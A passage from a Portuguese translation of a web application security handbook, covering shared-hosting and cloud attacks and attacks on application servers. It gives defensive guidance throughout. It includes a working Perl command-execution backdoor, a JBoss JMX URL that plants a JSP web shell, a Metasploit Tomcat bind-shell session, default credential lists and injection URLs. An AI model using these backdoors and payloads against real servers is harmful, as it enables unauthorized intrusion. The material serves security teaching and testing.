- O acesso concedido pelo mecanismo de acesso remoto pode ser excessivamente liberal ou mal segregado entre os clientes. Por exemplo, os clientes podem receber um shell de comando quando precisam apenas de acesso a arquivos. Como alternativa, os clientes podem não estar restritos a seus próprios diretórios e podem atualizar o conteúdo de outros clientes ou acessar arquivos confidenciais no sistema operacional do servidor.
- As mesmas considerações se aplicam aos bancos de dados e ao acesso ao sistema de arquivos. O banco de dados pode não estar devidamente segregado, com instâncias diferentes para cada cliente. As conexões diretas com o banco de dados podem usar canais não criptografados, como o ODBC padrão.
- Quando um aplicativo personalizado é implementado para fins de acesso remoto (por exemplo, por um ASP), esse aplicativo deve assumir a responsabilidade de controlar o acesso de diferentes clientes ao aplicativo compartilhado. Qualquer vulnerabilidade no aplicativo administrativo pode permitir que um cliente mal-intencionado ou até mesmo um usuário anônimo interfira nos aplicativos de outros clientes. Elas também podem permitir que clientes com capacidade limitada de atualizar o skin de seus aplicativos aumentem os privilégios e modifiquem elementos da funcionalidade principal envolvida em seus aplicativos para seus próprios fins.

vantagem. Quando esse tipo de aplicativo administrativo é implantado, qualquer tipo de vulnerabilidade nesse aplicativo pode fornecer um veículo para atacar o aplicativo compartilhado acessado pelos usuários finais.

Ataques entre aplicativos

Em um ambiente de hospedagem compartilhada, diferentes clientes normalmente têm uma necessidade legítima de fazer upload e executar scripts arbitrários no servidor. Isso levanta imediatamente problemas que não existem em aplicativos de hospedagem única.

Backdoors deliberados

No tipo mais óbvio de ataque, um cliente mal-intencionado pode fazer upload de conteúdo que ataca o próprio servidor ou os aplicativos de outros clientes. Por exemplo, considere o seguinte script Perl, que implementa um recurso de comando remoto no servidor:

```
#!/usr/bin/perl use
strict;
use CGI qw(:standard escapeHTML);
print header, start_html("");

if (param()){my $command = param("cmd");
    $command=`$command`;

imprimir "$command\n";}
else {print start_form(); textfield("command");} print
end_html;
```

O acesso a esse script pela Internet permite que o cliente execute comandos arbitrários do sistema operacional no servidor:

```
GET /scripts/backdoor.pl?cmd=whoami HTTP/1.1
Host: wahh-maliciousapp.com

HTTP/1.1 200 OK
Data: Sun, 03 Jul 2011 19:16:38 GMT
Servidor: Apache/2.0.59
Conexão: close
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html
        PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Documento sem título</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
```

```
</head>
<body>
apache
</body>
</html>
```

Como os comandos do cliente mal-intencionado são executados como usuário do Apache, é provável que isso permita o acesso a scripts e dados pertencentes a outros clientes do serviço de hospedagem compartilhada.

Esse tipo de ameaça também existe no contexto de um aplicativo compartilhado gerenciado pelo ASP. Embora a funcionalidade principal do aplicativo seja de propriedade e atualizada pelo ASP, os clientes individuais geralmente podem modificar essa funcionalidade de determinadas maneiras. Um cliente mal-intencionado pode introduzir backdoors sutis no código que ele controla, o que lhe permite comprometer o aplicativo compartilhado e obter acesso aos dados de outros clientes.

DICA Os scripts de backdoor podem ser criados na maioria das linguagens de script da Web. Para obter mais exemplos de scripts em outras linguagens, consulte **http://net-square.com/ papers/one_way/one_way.html#4.0**.

Ataques entre aplicativos vulneráveis

Mesmo que todos os clientes em um ambiente compartilhado sejam benignos e carreguem apenas scripts legítimos validados pelo proprietário do ambiente, os ataques entre aplicativos serão possíveis, é claro, se houver vulnerabilidades inconscientes nos aplicativos de clientes individuais. Nessa situação, uma vulnerabilidade em um único aplicativo pode permitir que um usuário mal-intencionado comprometa esse aplicativo e todos os outros hospedados no ambiente compartilhado. Muitos tipos de vulnerabilidades comuns se enquadram nessa categoria. Por exemplo:

- Uma falha de injeção de SQL em um aplicativo pode permitir que um invasor realize consultas SQL arbitrárias no banco de dados compartilhado. Se o acesso ao banco de dados for segregado de forma inadequada entre clientes diferentes, um invasor poderá ler e modificar os dados usados por todos os aplicativos.
- Uma vulnerabilidade de path traversal em um aplicativo pode permitir que um invasor leia ou grave arquivos arbitrários em qualquer lugar do sistema de arquivos do servidor, incluindo aqueles pertencentes a outros aplicativos.
- Uma falha de injeção de comando em um aplicativo pode permitir que um invasor comprometa o servidor e, portanto, os outros aplicativos hospedados nele, da mesma forma descrita para um cliente mal-intencionado.

Ataques entre componentes de aplicativos ASP

Todos os possíveis ataques descritos anteriormente podem surgir no contexto de um aplicativo ASP compartilhado. Como os clientes normalmente podem

executar seus próprios

personalizações da funcionalidade principal do aplicativo, uma vulnerabilidade introduzida por um cliente pode permitir que os usuários de um aplicativo personalizado ataquem o aplicativo principal compartilhado, comprometendo assim os dados de todos os clientes do ASP. Além desses ataques, o cenário ASP apresenta outras possibilidades para que clientes ou usuários mal-intencionados comprometam o aplicativo compartilhado mais amplo, devido à forma como os diferentes componentes do aplicativo compartilhado devem interoperar. comeu. Por exemplo:

- Os dados gerados por diferentes aplicativos geralmente são agrupados em um local comum e visualizados por usuários no nível ASP com privilégios poderosos dentro do aplicativo compartilhado. Isso significa que um ataque do tipo XSS em um aplicativo personalizado pode resultar no comprometimento do aplicativo compartilhado. Por exemplo, se um invasor puder injetar código JavaScript em entradas de arquivos de log, registros de pagamento ou informações de contato pessoal, isso poderá permitir que ele sequestre a sessão de um usuário de nível ASP e, portanto, obtenha acesso a funcionalidades administrativas confidenciais.
- Os ASPs geralmente empregam um banco de dados compartilhado para manter os dados pertencentes a todos os clientes. A segregação rigorosa do acesso aos dados pode ou não ser imposta nas camadas do aplicativo e do banco de dados. Entretanto, em ambos os casos, normalmente existem alguns componentes compartilhados, como procedimentos armazenados no banco de dados, que são responsáveis pelo processamento de dados pertencentes a vários clientes. Relações de confiança defeituosas ou vulnerabilidades nesses componentes podem permitir que clientes ou usuários mal-intencionados obtenham acesso a dados em outros aplicativos. Por exemplo, uma vulnerabilidade de injeção de SQL em um procedimento armazenado compartilhado que é executado com privilégios de definidor pode resultar no comprometimento de todo o banco de dados

ETAPAS DO HACK

1. Examine os mecanismos de acesso fornecidos aos clientes do ambiente compartilhado para atualizar e gerenciar seu conteúdo e funcionalidade. Considere questões como as seguintes:
   - O recurso de acesso remoto usa um protocolo seguro e uma infraestrutura adequadamente reforçada?
   - Os clientes podem acessar arquivos, dados e outros recursos que não precisam acessar de forma legítima?
   - Os clientes podem obter um shell interativo no ambiente de hospedagem e executar comandos arbitrários?
2. Se um aplicativo proprietário for usado para permitir que os clientes configurem e personalizem um ambiente compartilhado, considere a possibilidade de direcionar esse aplicativo como um meio de comprometer o próprio ambiente e os aplicativos individuais executados nele.

3. Se for possível obter execução de comandos, injeção de SQL ou acesso arbitrário a arquivos em um aplicativo, investigue cuidadosamente se isso oferece algum meio de escalar o ataque para atingir outros aplicativos.
4. Se estiver atacando um aplicativo hospedado em ASP que seja composto de componentes compartilhados e personalizados, identifique todos os componentes compartilhados, como mecanismos de registro, funções administrativas e componentes de código de banco de dados. Tente aproveitá-los para comprometer a parte compartilhada do aplicativo e, assim, atacar outros aplicativos individuais.
5. Se um banco de dados comum for usado em qualquer tipo de ambiente compartilhado, realize uma auditoria abrangente da configuração do banco de dados, do nível de correção, da estrutura da tabela e das permissões, talvez usando uma ferramenta de varredura de banco de dados como o NGSSquirrel. Qualquer defeito no modelo de segurança do banco de dados pode ser um meio de escalar um ataque de um aplicativo para outro.

Atacando a nuvem

A onipresente palavra da moda "nuvem" refere-se, grosso modo, ao aumento da terceirização de aplicativos, servidores, bancos de dados e hardware para provedores de serviços externos. Também se refere ao alto grau de virtualização empregado nos atuais ambientes de hospedagem compartilhada.

Os serviços em nuvem descrevem amplamente os serviços sob demanda baseados na Internet que fornecem uma API, um aplicativo ou uma interface da Web para interação com o consumidor. O provedor de computação em nuvem normalmente armazena os dados do usuário ou processa a lógica de negócios para fornecer o serviço. Do ponto de vista do usuário final, os aplicativos de desktop tradicionais estão migrando para equivalentes baseados em nuvem, e as empresas podem substituir servidores inteiros por equivalentes sob demanda.

Uma preocupação de segurança frequentemente mencionada ao migrar para os serviços em nuvem é a perda de controle. Ao contrário do que ocorre com o software tradicional de servidor ou desktop, não há como o consumidor avaliar proativamente a segurança de um determinado serviço em nuvem. No entanto, o consumidor é obrigado a entregar toda a responsabilidade pelo serviço e pelos dados a um terceiro. Para as empresas, mais controle está sendo cedido a um ambiente em que os riscos não são totalmente qualificados ou quantificados. As vulnerabilidades publicadas nos aplicativos da Web que suportam os serviços em nuvem também não são muito difundidas, porque a plataforma baseada na Web não está aberta ao mesmo exame minucioso que os produtos tradicionais de cliente/servidor que podem ser baixados.

Essa preocupação com a perda de controle é semelhante às preocupações existentes que as empresas podem ter ao escolher um provedor de hospedagem ou que os consumidores podem ter ao escolher um provedor de webmail. Mas essa questão, por si só, não reflete os riscos elevados que a computação em nuvem traz. Enquanto o comprometimento de um único aplicativo da Web convencional pode afetar milhares de usuários individuais, o comprometimento de um serviço em nuvem pode afetar milhares de assinantes da nuvem, todos com

bases de clientes próprias. Enquanto um controle de acesso falho pode dar acesso não autorizado a um documento confidencial em um aplicativo de fluxo de trabalho, em um aplicativo de autoatendimento na nuvem ele pode dar acesso não autorizado a um servidor ou cluster de servidores. A mesma vulnerabilidade em um portal de back-end administrativo pode dar acesso a toda a infraestrutura da empresa.

Segurança na nuvem sob a perspectiva de aplicativos da Web

Com uma definição fluida, implementada de forma diferente por cada provedor de nuvem, nenhuma lista proscritiva de vulnerabilidades é aplicável a todas as arquiteturas de nuvem. No entanto, é possível identificar algumas áreas-chave de vulnerabilidades exclusivas das arquiteturas de computação em nuvem.

NOTA Um mecanismo de defesa comumente citado para a segurança da nuvem é a criptografia de dados em repouso ou em trânsito. No entanto, a criptografia pode oferecer proteção mínima nesse contexto. Conforme descrito na seção anterior "Nível
Architectures", se um invasor contornar as verificações de autenticação ou autorização do aplicativo e fizer uma solicitação de dados aparentemente legítima, todas as funções de descriptografia serão automaticamente invocadas por componentes inferiores na pilha.

Sistemas clonados

Muitos aplicativos dependem de recursos do sistema operacional ao utilizar a entropia para gerar números aleatórios. As fontes comuns estão relacionadas aos recursos do próprio sistema, como o tempo de atividade do sistema ou informações sobre o hardware do sistema. Se os sistemas forem clonados, os invasores que possuírem um dos clones poderão determinar as sementes usadas para a geração de números aleatórios, o que, por sua vez, poderá permitir previsões mais precisas sobre o estado dos geradores de números aleatórios.

Migração de ferramentas de gerenciamento para a nuvem

No centro de um serviço de computação em nuvem corporativa está a interface por meio da qual os servidores são provisionados e monitorados. Esse é um ambiente de autoatendimento para o cliente, geralmente uma versão habilitada para a Web de uma ferramenta originalmente usada para o gerenciamento interno de servidores. As antigas ferramentas autônomas que foram portadas para a Web geralmente carecem de mecanismos robustos de gerenciamento de sessões e controle de acesso, principalmente quando não havia segregação baseada em funções anteriormente. Algumas soluções observadas pelos autores usaram tokens ou GUIDs para acesso ao servidor. Outras simplesmente expuseram uma interface de serialização por meio da qual qualquer um dos métodos de gerenciamento poderia ser chamado.

Abordagem de recursos em primeiro lugar

Como a maioria dos novos campos, os provedores de serviços em nuvem promovem uma abordagem que prioriza os recursos para atrair novos clientes. Do ponto de vista empresarial, os ambientes de nuvem são quase sempre gerenciados por um

aplicativo da Web de autoatendimento. Os usuários recebem

uma ampla variedade de métodos fáceis de usar pelos quais eles podem acessar seus dados. Em geral, não é oferecido um mecanismo de exclusão de recursos.

Acesso baseado em token

Vários recursos de nuvem são projetados para serem invocados regularmente. Isso cria a necessidade de armazenar um token de autenticação permanente no cliente, desacoplado da senha do usuário e usado para identificar um dispositivo (em vez de um usuário). Se um invasor conseguir obter acesso a um token, ele poderá acessar os recursos de nuvem do usuário.

Armazenamento na Web

O armazenamento na Web é um dos principais atrativos da computação em nuvem para o usuário final. Para ser eficaz, o armazenamento na Web deve ser compatível com um navegador padrão ou com uma extensão de navegador, uma variedade de tecnologias e extensões para HTTP, como WebDAV, e, com frequência, credenciais em cache ou baseadas em token, conforme discutido anteriormente.

Outro problema é que um servidor da Web em um domínio geralmente é visível na Internet. Se um usuário puder fazer upload de HTML e induzir outros usuários a acessar seu arquivo de upload, ele poderá comprometer esses usuários do mesmo serviço. Da mesma forma, um invasor pode aproveitar a política de mesma origem do Java e fazer upload de um arquivo JAR, obtendo interação bidirecional completa sempre que esse arquivo JAR for invocado em outro lugar na Internet.

Proteção de ambientes compartilhados

Os ambientes compartilhados introduzem novos tipos de ameaças à segurança de um aplicativo, representadas por um cliente mal-intencionado da mesma instalação e por um cliente involuntário que introduz vulnerabilidades no ambiente. Para lidar com esse duplo perigo, os ambientes compartilhados devem ser cuidadosamente projetados em termos de acesso, segregação e confiança do cliente. Eles também devem implementar controles que não sejam diretamente aplicáveis ao contexto de um aplicativo de hospedagem única.

Acesso seguro ao cliente

Qualquer que seja o mecanismo fornecido para que os clientes mantenham o conteúdo sob seu controle, ele deve proteger contra o acesso não autorizado de terceiros e de clientes mal-intencionados:

- O mecanismo de acesso remoto deve implementar autenticação robusta, usar tecnologias criptográficas que não sejam vulneráveis a espionagem e ser totalmente reforçado em termos de segurança.
- Os clientes individuais devem receber acesso com base no mínimo privilégio. Por exemplo, se um cliente estiver fazendo upload de scripts para um servidor hospedado virtualmente, ele deverá ter apenas permissões de leitura e gravação em sua própria raiz de documento. Se um banco de

dados compartilhado estiver sendo acessado, isso deve ser feito usando

uma conta de baixo privilégio que não pode acessar dados ou outros componentes pertencentes a outros clientes.

- Se um aplicativo personalizado for usado para fornecer acesso ao cliente, ele deverá ser submetido a rigorosos requisitos e testes de segurança, de acordo com sua função essencial na proteção da segurança do ambiente compartilhado.

Segregar a funcionalidade do cliente

Não se pode confiar que os clientes de um ambiente compartilhado criem apenas funcionalidades benignas e livres de vulnerabilidades. Uma solução robusta, portanto, deve usar os controles arquitetônicos descritos na primeira metade deste capítulo para proteger o ambiente compartilhado e seus clientes contra ataques por meio de conteúdo não autorizado. Isso envolve a segregação dos recursos permitidos ao código de cada cliente da seguinte forma, para garantir que qualquer comprometimento deliberado ou involuntário seja localizado em seu impacto e não possa afetar outros clientes:

- Cada aplicativo do cliente deve usar uma conta de sistema operacional separada para acessar o sistema de arquivos que tenha acesso de leitura e gravação somente aos caminhos de arquivo desse aplicativo.
- A capacidade de acessar funções e comandos avançados do sistema deve ser restrita no nível do sistema operacional com base no privilégio mínimo.
- A mesma proteção deve ser implementada em todos os bancos de dados compartilhados. Uma instância de banco de dados separada deve ser usada para cada cliente, e contas com poucos privilégios devem ser atribuídas aos clientes, com acesso apenas aos seus próprios dados.

NOTA Muitos ambientes de hospedagem compartilhada baseados no modelo LAMP dependem do modo de segurança do PHP para limitar o impacto potencial de um script mal-intencionado ou vulnerável. Esse modo impede que os scripts PHP acessem determinadas funções poderosas do PHP e impõe restrições à operação de outras funções (consulte o Capítulo 19). Entretanto, essas restrições não são totalmente eficazes e são vulneráveis a desvios. Embora o modo de segurança possa oferecer uma camada útil de defesa, ele é, em termos de arquitetura, o local errado para controlar o impacto de um aplicativo mal-intencionado ou vulnerável, pois envolve o sistema operacional que confia na camada do aplicativo para controlar suas ações. Por esse e outros motivos, o modo de segurança foi removido da versão 6 do PHP.

DICA Se você puder executar comandos PHP arbitrários em um servidor, use o comando `phpinfo()` para retornar detalhes da configuração do ambiente PHP. Você pode analisar essas informações para determinar se o modo de segurança está ativado e como outras opções de configuração podem afetar as ações que você pode executar facilmente. Consulte o Capítulo 19 para obter mais detalhes.

Segregação de componentes em um aplicativo compartilhado

Em um ambiente ASP em que um único aplicativo inclui vários componentes compartilhados e personalizáveis, os limites de confiança devem ser aplicados entre componentes que estão sob o controle de diferentes partes. Quando um componente compartilhado, como um procedimento armazenado no banco de dados, recebe dados de um componente personalizado pertencente a um cliente individual, esses dados devem ser tratados com o mesmo nível de desconfiança como se fossem originados diretamente de um usuário final. Cada componente deve ser submetido a rigorosos testes de segurança originados de componentes adjacentes fora de seus limites de confiança para identificar quaisquer defeitos que possam permitir que um componente vulnerável ou mal-intencionado comprometa o aplicativo mais amplo. Deve-se dar atenção especial ao registro compartilhado e às funções administrativas.

Resumo

Os controles de segurança implementados nas arquiteturas de aplicativos da Web apresentam uma série de oportunidades para que os proprietários de aplicativos aprimorem a postura geral de segurança de sua implantação. Como consequência, os defeitos e os descuidos na arquitetura de um aplicativo geralmente permitem que você aumente drasticamente um ataque, passando de um componente para outro e, por fim, comprometendo todo o aplicativo.

A hospedagem compartilhada e os ambientes baseados em ASP apresentam uma nova gama de problemas de segurança difíceis, envolvendo limites de confiança que não surgem em um aplicativo hospedado individualmente. Quando estiver atacando um aplicativo em um contexto compartilhado, um dos principais focos de seus esforços deve ser o próprio ambiente compartilhado. Você deve tentar verificar se é possível comprometer esse ambiente a partir de um aplicativo individual ou aproveitar um aplicativo vulnerável para atacar outros.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Você está atacando um aplicativo que utiliza dois servidores diferentes: um servidor de aplicativos e um servidor de banco de dados. Você descobriu uma vulnerabilidade que permite a execução de comandos arbitrários do sistema operacional no servidor de aplicativos. Você pode explorar essa vulnerabilidade para recuperar dados confidenciais do aplicativo contidos no banco de dados?
2. Em um caso diferente, você descobriu uma falha de injeção de SQL que pode ser explorada para executar comandos arbitrários do sistema operacional no banco de dados

servidor. Você pode aproveitar essa vulnerabilidade para comprometer o servidor de aplicativos? Por exemplo, você poderia modificar os scripts do aplicativo mantidos no servidor de aplicativos e o conteúdo retornado aos usuários?

3. Você está atacando um aplicativo da Web que está hospedado em um ambiente compartilhado. Ao assinar um contrato com o ISP, você pode adquirir algum espaço na Web no mesmo servidor que o seu alvo, onde você tem permissão para fazer upload de scripts PHP.

   É possível explorar essa situação para comprometer o aplicativo que você está almejando?

4. Os componentes de arquitetura Linux, Apache, MySQL e PHP são frequentemente encontrados instalados no mesmo servidor físico. Por que isso pode diminuir a postura de segurança da arquitetura do aplicativo?
5. Como você poderia procurar evidências de que o aplicativo que está atacando faz parte de um aplicativo mais amplo gerenciado por um provedor de serviços de aplicativos?

CAPÍTULO

18

Ataque ao servidor de aplicativos

Como em qualquer tipo de aplicativo, um aplicativo da Web depende das outras camadas da pilha de tecnologia que o suportam, incluindo o aplicativo ou o servidor da Web, o sistema operacional e a infraestrutura de rede. Um invasor pode ter como alvo qualquer um desses componentes. O comprometimento da tecnologia da qual um aplicativo depende muitas vezes permite que um invasor comprometa totalmente o próprio aplicativo. A maioria dos ataques dessa categoria está fora do escopo de um livro sobre ataques a aplicativos da Web. Uma exceção são os ataques que têm como alvo as camadas do aplicativo e do servidor Web, bem como todas as defesas relevantes da camada do aplicativo. As defesas em linha são comumente empregadas para ajudar a proteger aplicativos da Web e identificar ataques. Contornar essas defesas é uma etapa fundamental para comprometer o aplicativo.

Até agora, não fizemos distinção entre um servidor Web e um servidor de aplicativos, porque os ataques visaram à funcionalidade do aplicativo, independentemente de como ele é fornecido. Na realidade, grande parte da camada de apresentação, a comunicação com os componentes de back-end e a estrutura de segurança central podem ser gerenciadas pelo contêiner do aplicativo. Isso pode dar um escopo adicional a um ataque. É claro que qualquer vulnerabilidade nas tecnologias que fornecem essa estrutura será interessante para um invasor se puder ser usada para comprometer diretamente o aplicativo.

Este capítulo se concentra em maneiras de aproveitar os defeitos na camada do servidor de aplicativos de uma perspectiva da Internet para atacar o aplicativo Web executado nele. As vulnerabilidades que podem ser exploradas para atacar os servidores de aplicativos se enquadram em duas grandes categorias: deficiências na configuração do servidor e falhas de segurança no software do servidor de aplicativos. Uma lista de defeitos não pode ser abrangente,

porque softwares desse tipo estão sujeitos a mudanças com o tempo. No entanto, as falhas descritas aqui ilustram as armadilhas típicas que aguardam qualquer aplicativo que implemente suas próprias extensões, módulos ou APIs nativas, ou que saia do contêiner do aplicativo. Este capítulo também examina os firewalls de aplicativos da Web, descreve seus pontos fortes e fracos e detalha as maneiras pelas quais eles podem ser contornados para realizar ataques.

Configuração de servidor vulnerável

Até mesmo o mais simples dos servidores da Web vem com uma grande quantidade de opções de configuração que controlam seu comportamento. Historicamente, muitos servidores são fornecidos com opções padrão inseguras, que oferecem oportunidades de ataque, a menos que sejam explicitamente reforçadas.

Credenciais padrão

Muitos servidores da Web contêm interfaces administrativas que podem ser acessadas publicamente. Elas podem estar localizadas em um local específico dentro da raiz da Web ou podem ser executadas em uma porta diferente, como 8080 ou 8443. Frequentemente, as interfaces administrativas têm credenciais padrão que são bem conhecidas e não precisam ser alteradas na instalação.

A Tabela 18-1 mostra exemplos de credenciais padrão em algumas das interfaces administrativas mais comumente encontradas.

Tabela 18-1: Credenciais padrão em algumas interfaces administrativas comuns

	NOME DE USUÁRIO	SENHA
Apache Tomcat	administrador	(nenhum)
	tomcat	tomcat
	raiz	raiz
Sun JavaServer	administrador	administrador
Netscape Enterprise Server	administrador	administrador
Compaq Insight Manager	administrador	administrador
	anônimo	(nenhum)
	usuário	usuário
	operador	operador
	usuário	público
Zeus	administrador	(nenhum)

Além das interfaces administrativas em servidores da Web, vários dispositivos, como switches, impressoras e pontos de acesso sem fio, usam interfaces da Web que têm credenciais padrão que podem não ter sido alteradas. Os recursos a seguir listam as credenciais padrão para um grande número de tecnologias diferentes:

- `www.cirt.net/passwords`
- `www.phenoelit-us.org/dpl/dpl.html`

ETAPAS DO HACK

1. Analise os resultados dos exercícios de mapeamento de aplicativos para identificar o servidor da Web e outras tecnologias em uso que possam conter interfaces administrativas acessíveis.
2. Execute uma varredura de porta do servidor da Web para identificar quaisquer interfaces administrativas executadas em uma porta diferente da do aplicativo de destino principal.
3. Para todas as interfaces identificadas, consulte a documentação do fabricante e as listas de senhas comuns para obter as credenciais padrão. Use o banco de dados incorporado do Metasploit para examinar o servidor.
4. Se as credenciais padrão não funcionarem, use as técnicas descritas no Capítulo 6 para tentar adivinhar credenciais válidas.
5. Se você obtiver acesso a uma interface administrativa, analise a funcionalidade disponível e determine se ela pode ser usada para comprometer ainda mais o host e atacar o aplicativo principal.

Conteúdo padrão

A maioria dos servidores de aplicativos é fornecida com uma série de conteúdos e funcionalidades padrão que podem ser aproveitados para atacar o próprio servidor ou o aplicativo alvo principal. Veja a seguir alguns exemplos de conteúdo padrão que podem ser interessantes:

- Funcionalidade de depuração e teste projetada para ser usada por administradores
- Funcionalidade de amostra projetada para demonstrar determinadas tarefas comuns
- Funções poderosas não destinadas ao uso público, mas que foram deixadas acessíveis sem querer
- Manuais do servidor que podem conter informações úteis específicas da própria instalação

Funcionalidade de depuração

A funcionalidade projetada para uso diagnóstico pelos administradores costuma ser de grande valor para um invasor. Ela pode conter informações úteis sobre a configuração e o estado do tempo de execução do servidor e dos aplicativos executados nele.

A Figura 18-1 mostra a página padrão `phpinfo.php`, que existe em muitas instalações do Apache. Essa página simplesmente executa a função PHP `phpinfo()` e retorna o resultado. Ela contém uma grande quantidade de informações sobre o ambiente PHP, definições de configuração, módulos do servidor Web e caminhos de arquivos.

Figura 18-1: A página padrão phpinfo.php

Amostra de funcionalidade

Por padrão, muitos servidores incluem vários scripts e páginas de amostra criados para demonstrar como determinadas funções e APIs do servidor de aplicativos podem ser usadas. Normalmente, esses exemplos são inócuos e não oferecem oportunidades para um invasor. Entretanto, na prática, esse não tem sido o caso, por dois motivos:

- Muitos scripts de amostra contêm vulnerabilidades de segurança que podem ser exploradas para executar ações não pretendidas pelos autores dos scripts.
- Muitos scripts de amostra realmente implementam funcionalidades que são de uso direto para um invasor.

Um exemplo do primeiro problema é o Dump Servlet incluído na versão 7.0.0 do Jetty. Esse servlet pode ser acessado a partir de um URL como `/test/jsp/dump.jsp`. Quando é acessado, ele imprime vários detalhes da instalação do Jetty e da solicitação atual, incluindo a string de consulta da solicitação. Isso permite uma

simples

cross-site scripting se um invasor simplesmente incluir tags de script no URL, como `/test/jsp/dump.jsp?%3Cscript%3Ealert(%22xss%22)%3C/script%3E`.

Um exemplo do segundo problema é o script Sessions Example fornecido com o Apache Tomcat. Conforme mostrado na Figura 18-2, ele pode ser usado para obter e definir variáveis de sessão arbitrárias. Se um aplicativo em execução no servidor armazenar dados confidenciais na sessão de um usuário, um invasor poderá visualizá-los e interferir no processamento do aplicativo modificando seu valor.

Figura 18-2: O script padrão Sessions Example fornecido com o Apache Tomcat

Funções poderosas

Alguns softwares de servidor da Web contêm funcionalidades poderosas que não se destinam a ser usadas pelo público, mas que podem ser acessadas pelos usuários finais por alguns meios. Em muitos casos, os servidores de aplicativos permitem que os arquivos da Web (arquivos WAR) sejam implantados na mesma porta HTTP usada pelo próprio aplicativo, com as credenciais administrativas corretas. Esse processo de implantação de um servidor de aplicativos é o principal alvo dos hackers. As estruturas de exploração comuns podem automatizar o processo de verificação de credenciais padrão, carregar um arquivo da Web contendo um backdoor e executá-lo para obter um shell de comando no sistema remoto, conforme mostrado na Figura 18-3.

```
Metasploit
File  Edit  View  Help

       =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 675 exploits - 353 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
       =[ svn r12292 updated today (2011.04.11)

msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set USERNAME admin
USERNAME => admin
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
PASSWORD => tomcat
msf exploit(tomcat_mgr_deploy) > set RHOST wahh-app
RHOST => wahh-app
msf exploit(tomcat_mgr_deploy) > set RPORT 80
RPORT => 80
msf exploit(tomcat_mgr_deploy) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Windows Universal"
[*] Uploading 52025 bytes as 1V4k3W7tG3mbMy3HSRV.war ...
[*] Executing /1V4k3W7tG3mbMy3HSRV/1PgAZx18WfCRE0VAv7W8ngbI.jsp...
[*] Undeploying 1V4k3W7tG3mbMy3HSRV ...
[*] Command shell session 1 opened (192.168.214.141:8097 -> 192.168.214.155:4444
) at 2011-04-11 19:58:57 +0100

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\Program Files\Apache Software Foundation\Tomcat 5.5>
Ready                                                  39x80
```

Figura 18-3: Uso do Metasploit para comprometer um servidor Tomcat vulnerável

JMX

O console JMX, instalado por padrão em uma instalação do JBoss, é um exemplo clássico de conteúdo padrão avançado. O console JMX é descrito como uma "visão bruta do microkernel do servidor de aplicativos JBoss". Na verdade, ele permite que você acesse diretamente qualquer Managed Beans dentro do servidor de aplicativos JBoss. Devido à grande quantidade de funcionalidades disponíveis, várias vulnerabilidades de segurança foram relatadas. Entre as mais fáceis de explorar está a capacidade de usar o método `store` no `DeploymentFileRepository` para criar um arquivo war contendo um backdoor, conforme mostrado na Figura 18-4.

Figura 18-4: O console JMX contém funcionalidade que permite a implantação de arquivos WAR arbitrários

Por exemplo, o URL a seguir faz o upload de uma página chamada `cmdshell.jsp` q u e contém um backdoor:

```
http://wahh-app.com:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=
jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=
store&argType=java.lang.String&arg0=cmdshell.war&argType=
java.lang.String&arg1=cmdshell&argType=java.lang.String&arg2=
.jsp&argType=java.lang.String&arg3=%3C%25Runtime.getRuntime%28%29.exec
%28request.getParameter%28%22c%22%29%29%3B%25%3E%0A&argType=
boolean&arg4=True
```

Conforme mostrado na Figura 18-5, isso cria com êxito um backdoor no lado do servidor que executa o seguinte código:

```
<%Runtime.getRuntime().exec(request.getParameter("c"));%>
```

Figura 18-5: Um ataque bem-sucedido usando o console JMX para implantar um arquivo WAR de backdoor em um servidor JBoss

O Deployment Scanner incorporado implanta automaticamente o arquivo WAR do cavalo de Troia no servidor de aplicativos JBoss. Depois de implantado, ele pode ser acessado no aplicativo cmdshell recém-criado, que, nesse caso, contém apenas `cmdshell.jsp`:

```
http://wahh-app.com:8080/cmdshell/cmdshell.jsp?c=cmd%20/ c%20ipconfig%3Ec:\foo
```

OBSERVAÇÃO A solução para esse problema foi restringir os métodos **GET** e **POST** somente aos administradores. Isso foi facilmente contornado simplesmente emitindo a solicitação mostrada acima usando o método **HEAD**. (Os detalhes podem ser encontrados em **www.securityfocus .com/bid/39710/**.) Como acontece com qualquer vulnerabilidade baseada em configuração, ferramentas como o Metasploit podem explorar essas várias vulnerabilidades do JMX com um alto grau de confiabilidade.

Aplicativos Oracle

O exemplo duradouro de uma poderosa funcionalidade padrão surge no gateway PL/SQL implementado pelo Oracle Application Server e pode ser visto em outros produtos Oracle, como o E-Business Suite. O gateway PL/SQL fornece uma interface por meio da qual as solicitações da Web são enviadas para um banco de dados back-end da Oracle. Parâmetros arbitrários podem ser passados para procedimentos de banco de dados usando URLs como as seguintes:

```
https://wahh-app.com/pls/dad/package.procedure?param1=foo&param2=bar
```

Essa funcionalidade tem o objetivo de fornecer um meio pronto de converter a lógica comercial implementada em um banco de dados em um aplicativo da Web de fácil utilização. No entanto, como um invasor pode especificar um procedimento arbitrário, ele pode explorar o gateway PL/ SQL para acessar funções poderosas no banco de dados. Por exemplo, o procedimento `SYS.OWA_UTIL.CELLSPRINT` pode ser usado para executar consultas arbitrárias ao banco de dados e, assim, recuperar dados confidenciais:

```
https://wahh-app.com/pls/dad/SYS.OWA_UTIL.CELLSPRINT?P_THEQUERY=SELECT+
*+FROM+usuários
```

Para evitar ataques desse tipo, a Oracle introduziu um filtro chamado PL/SQL Exclusion List. Ele verifica o nome do pacote que está sendo acessado e bloqueia tentativas de acesso a qualquer pacote cujos nomes comecem com as seguintes expressões:

```
SYS.
DBMS_
UTL_
```

```
OWA_
OWA.
HTP.
HTF.
```

